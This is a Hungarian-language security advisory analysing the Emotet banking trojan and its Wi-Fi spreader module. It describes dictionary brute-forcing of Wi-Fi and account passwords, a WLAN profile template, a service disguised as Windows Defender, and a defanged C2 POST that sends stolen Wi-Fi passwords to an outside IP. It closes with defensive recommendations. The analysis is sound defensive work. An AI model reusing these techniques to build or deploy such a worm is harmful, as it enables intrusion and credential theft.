Emotet malware leírás

Felfedezés dátuma

2020.03.04.

Súlyosság

Közepes

Összefoglaló

Az Emotet egy fejlett, moduláris banki trójai, amely elsősorban banki szektort célzó kártevők terjesztőjeként vált ismertté. Károkozás tekintetében továbbra is az egyik legköltségesebb és legpusztítóbb kártevők közé tartozik, amely kormányzati-, magán-, és pénzügyi szektort egyaránt céloz. Újabb változatai – a különböző letölthető modulok révén – a banki adatok ellopása mellett szinte bármilyen más káros tevékenységre is alkalmasak, például zsarolóvírus telepítésére.

Leírás

Az Emotet fertőzést először 2014-ben azonosították, újabb és újabb változatai azonban a mai napig terjednek. Néhány hónapon belül megjelent a következő verzió, amely már több modult tartalmazott (pl. malspam modul). Ezek a modulok, vagy pluginek újabb és újabb képességekkel vértezték fel a kártevőt, például Outlook névjegyek ellopása vagy LAN hálózaton történő terjedés biztosítása. 2015-ben azután egy újabb verzió kezdett terjedni. A készítők ekkor elsősorban az Emotet rejtőzködési képességeit javították.

A legújabb felfedezett variánsa pedig már rendelkezik azon képességgel is, hogy az elérhető Wi-Fi hálózatokon próbál meg továbbterjedni az elérhető eszközökre, miközben a vezérlőszerverrel  (C2) történő kommunikációja során további káros kódokat is letölthet a fertőzött eszközre, 2019-ben például már egy ransomware (Ryuk) terjesztésében is szerepe volt.

Általánosságban elmondható, hogy az Emotet magánszemélyek, cégek, valamint a kormányzati szektor ellen is indít támadásokat és próbál meg banki és pénzügyi adatokat szerezni.

Az Emotet terjesztői előszeretettel használják ki a nagy érdeklődésre számot tartó eseményeket, ilyen volt Edward Snowden könyvének Word változatát ígérő spam kampány, legutóbb pedig a koronavírus járvánnyal kapcsolatos kéretlen leveleket terjesztő kampány. Mindezek mellett ez év februárjában – a publikáció születésekor azonban még csak az Egyesült Államokban – új terjesztési mód is megjelent, a SMShing. A szöveges üzenetben szereplő átirányító link segítségével a banki hitelesítő adatok megszerzése a cél, másodlagos fertőzésként a TrickBot telepítése történik meg. A csaláshoz regisztrált domain nevek teljesen hasonlatosak az eredeti banki oldalakhoz, alapesetben csupán 1-1 karakterben különböznek.

Alig néhány év alatt az Emotet egy egyszerű banki adatlopásra szakosodott trójaiból, egy kiváló rejtőzködési lehetőségekkel bíró, komplex károkozó szoftverré nőtte ki magát.

Működése

1. ábra: az Emotet fertőzés folyamatábrája (https://www.cisecurity.org/white-papers/ms-isac-security-primer-emotet/)

Az Emotet protokollja a Google Protobuf-on alapul, amely a szerver és a kliens közötti kommunikációt gyorsítja oly módon, hogy – a Protobuf dokumentáció szerint – a különböző adatok meghatározását „.proto” kiterjesztésű fájlban tárolt buffer üzeneteken keresztül végzi. Az Emotet számos ilyen üzenetet használ, pl.:

message Deliverable { required int32 ID = 1; required int32 executeFlag = 2; required bytes blob = 3; }

A fenti protobuf üzenetben az ID a letöltendő modul azonosítója, a blob a bináris adat, és az executeFlag határozza meg a letöltés módját. Az executeFlag mező értéke a következők egyike lehet:

  1. Önállóan futtatható fájlok, illetve letöltések számára fenntartva (pl.:TrickBot). A C: ProgramData fájlba kerül, és végrehajtódik.
  2. Mint az 1. típusú, de a felhasználói tokent másolja.
  3. Betöltés a memóriába. Általában a letölthető modulok esetében használják, mivel ezek elsősorban DLL-ek, amelyek könnyen beilleszthetők a memóriába.

2. ábra Emotet terjesztési modell Wi-Fi segítségével (https://www.binarydefense.com/emotet-evolves-with-new-wi-fi-spreader/)

A Wi-Fi kapcsolaton keresztüli terjedésért felelős fájl a C:Programdata könyvtárba kerül, ez egy önkicsomagoló RAR, amely a Wi-Fi terjedéshez szükséges 2 fájlt tartalmazza (service.exe és worm.exe). A worm.exe a .RAR állomány telepítőfájljaként van konfigurálva, azaz automatikusan végrehajtódik a .RAR kicsomagolását követően.

3. ábra worm.exe futtatása (https://www.binarydefense.com/emotet-evolves-with-new-wi-fi-spreader/)

Az elemzés során megvizsgált worm.exe állomány időbélyegzője 04/16/2018, vagyis ez a funkció közel két évig működhetett észrevétlenül. Az állomány kódolva tartalmazza az Emotet által korábban használt C2 szerver IP címét is.

A worm.exe lefutásakor első lépésben a service.exe másolása történik meg a további terjesztés előkészítésére, majd következő lépésben elkezdődik az elérhető hálózatok feltérképezése wlanAPI.dll hívásokon keresztül. A módszer előnye – ha nincs Wi-Fi kártya implementálva –, hogy a worm.exe terjedési viselkedése nem térképezhető fel virtuális vagy sandbox környezetben. Elméletileg a Win10 automatikus WLAN konfigurációs szolgáltatása áthidalhatja ezt a problémát, azonban a generált hívások a rendszer összeomláshoz vezethetnek.

A következő lépés a WlanEnumInterfaces funkció meghívása, amely felsorolja az összes, a fertőzött eszközön engedélyezett Wi-Fi hálózatot. A begyűjtött adatok között megtalálható a Wi-Fi eszközök GUID és a Description leírása is, ugyanakkor érdekes tény, hogy a paraméterezés hibája miatt ez a funkció nem tud megfelelően lefutni Windows XP rendszeren.

Az adatgyűjtés részeként valamennyi elérhető paramétert (SSID, SIGNAL, SECURITY, Encryption és Note) lementi a hálózatról.

SSID: %s SIGNAL: %d SECURITY: [WPA|WPA2|UNKNOWN|WEP|OPEN] encryption: [UNKNOWN|WEP104|CCMP|TKIP|WEP40|NONE] Note: [Current Connecting| OR WLAN_AVAILABLE_NETWORK_HAS_PROFILE| OR WLAN_AVAILABLE_NETWORK_CONSOLE_USER_PROFILE]

Majd brute-force módszerrel (saját belső szótár alapján) megkísérli a csatlakozást a felfedett hálózatokhoz. Az összegyűjtött adatokat egy ún. hálózati profil létrehozására alkalmas sablon kitöltéséhez használja:

<?xml version=”1.0″ encoding=”UTF-8″?> <WLANProfile xmlns=”http://www.microsoft.com/networking/WLAN/profile/v1″> <name>%s</name> <SSIDConfig> <SSID> <name>%s</name> </SSID> </SSIDConfig> <connectionType>ESS</connectionType <connectionMode>auto</connectionMode> <MSM> <security> <authEncryption> <authentication>%s</authentication> <encryption>%s</encryption> <useOneX>false</useOneX> </authEncryption> <sharedKey> <keyType>passPhrase</keyType> <protected>false</protected> <keyMaterial>%s</keyMaterial> </sharedKey> </security> </MSM> </WLANProfile>

A keyMaterial mező tartalma egy belső szótárból kerül kitöltésre, majd megtörténik a csatlakozási kísérlet, ha

  • a kapcsolódási kísérlet wlan_notification_acm_network_available választ ad, a NetworkAvailableFlag értéke ’1’ lesz;
  • a kapcsolódási kísérlet wlan_notification_msm_connected választ ad, a NetworkAvailableFlag és a NetworkConnectedFlag értéke ’1’ lesz;
  • a kapcsolódási kísérlet nem jár eredménnyel, a NetworkAvailableFlag és a NetworkConnectedFlag értéke ’0’ lesz, a művelet újra végrehajtódik a következő jelszóval.

Sikeres csatlakozást után 14 másodperccel a malware HTTP POST kérést küld a C2 szerver felé pl.: 87.106.37[.]146:8080/230238982BSBYKDDH938473938HDUI33/index.php A POST-ban szereplő adatok: c=<WirelessNetworkConnected>:<Password>

Ha sikeres a csatlakozás a Wi-Fi hálózathoz, megkezdődik a nem-rejtett megosztások összegyűjtése, majd következő lépésben – szintén brute-force módszerrel – kísérletet tesz az adott hálózatot használók felhasználónév/jelszó párosainak feltörésére. Ha a jelszófeltörés nem jár sikerrel a felhasználók tekintetében, akkor megkísérli az ’Administrator’ fiók feltörését is.

Siker esetén azonnal megkezdődik a service.exe telepítése az újonnan kompromittált eszközökre. A kompromittált fiókok esetében az Emotet hozzáférést szerez a felhasználó számítógépének C: meghajtójához, ahova telepíti a service.exe fájlt my.exe néven. (Álcázásként a fájl a Windows Defender System Service részének mutatja magát.)

Binary Path Name: C:\my.exe Desired Access: SERVICE_ALL_ACCESS Display Name: WinDefService Service Name: Windows Defender System Service

Ezután hajtódik végre a káros kód. A service.exe alapvetői funkciói: – Kommunikáció a C2 szerverrel – a beépített Emotet kód végrehajtása

A kommunikáció első lépéseként kapcsolatot kezdeményez a C2 szerverrel (TCP443-as port) és kérést küld egy előre meghatározott hivatkozás irányába. Habár a 443-as port alapvetően a kódolt TLS kommunikáció portja, a kapcsolat kódolatlan HTTP formában történik. Ha felépül a kapcsolat, a service.exe az alábbi értékeket állítja be:

– 0x80000000 – INTERNET_FLAG_RELOAD – 0x04000000 – INTERNET_FLAG_NO_CACHE_WRITE – 0x00040000 – INTERNET_FLAG_NO_AUTH – 0x00008000 – INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP – 0x00004000 – INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS – 0x00002000 – INTERNET_FLAG_IGNORE_CERT_DATE_INVALID – 0x00001000 – INTERNET_FLAG_IGNORE_CERT_CN_INVALID – 0x00000400 – INTERNET_FLAG_HYPERLINK – 0x00000200 – INTERNET_FLAG_NO_UI – 0x00000100 – CACHE_ENTRY_ACCTIME_FC

A fenti kérés üzenetének tartalma: “c=installed”, majd megkezdődik a beágyazott Emotet kód végrehajtása. A %TEMP% végére hozzácsatolja a setup.exe-t, ezután megkeresi a beépített káros kódot és annak tartalmát beleírja a %TEMP%\setup.exe fájlba, létrehoz egy folyamatot, amely a fenti Emotet fájlt futtatja.

Javaslatok

  • Megoldásként javasolt a hálózatok jelszó házirendjének szigorítása.
  • Az operációs rendszeren és a telepített alkalmazásokon és vírusvédelmi eszközökön mindig telepítse a legújabb frissítéseket.
  • Legyen elővigyázatos a gyanús csatolmányt tartalmazó e-mailekkel szemben, azokat lehetőség szerint ne nyissa meg. Az ismeretlen fájlokat és gyanús e-mail csatolmányokat ellenőrizheti a Virustotal oldalra feltöltve.
  • Blokkolja az összes URL- és IP-alapú IoC-t a tűzfalon, az IDS-en, a web-átjáróknál, az útválasztóknál.

Hivatkozások

https://thehackernews.com/2020/02/emotet-malware-wifi-hacking.html
https://www.binarydefense.com/emotet-evolves-with-new-wi-fi-spreader/
https://threatpost.com/emotet-now-hacks-nearby-wi-fi-networks-to-spread-like-a-worm/152725/
https://www.malwarebytes.com/emotet/
https://www.infosecurity-magazine.com/news/emotet-spreads-via-newly/

Indikátorok

Az alábbi linken ellenőrizheti az aktuálisan elérhető indikátorok (IoC) listáját.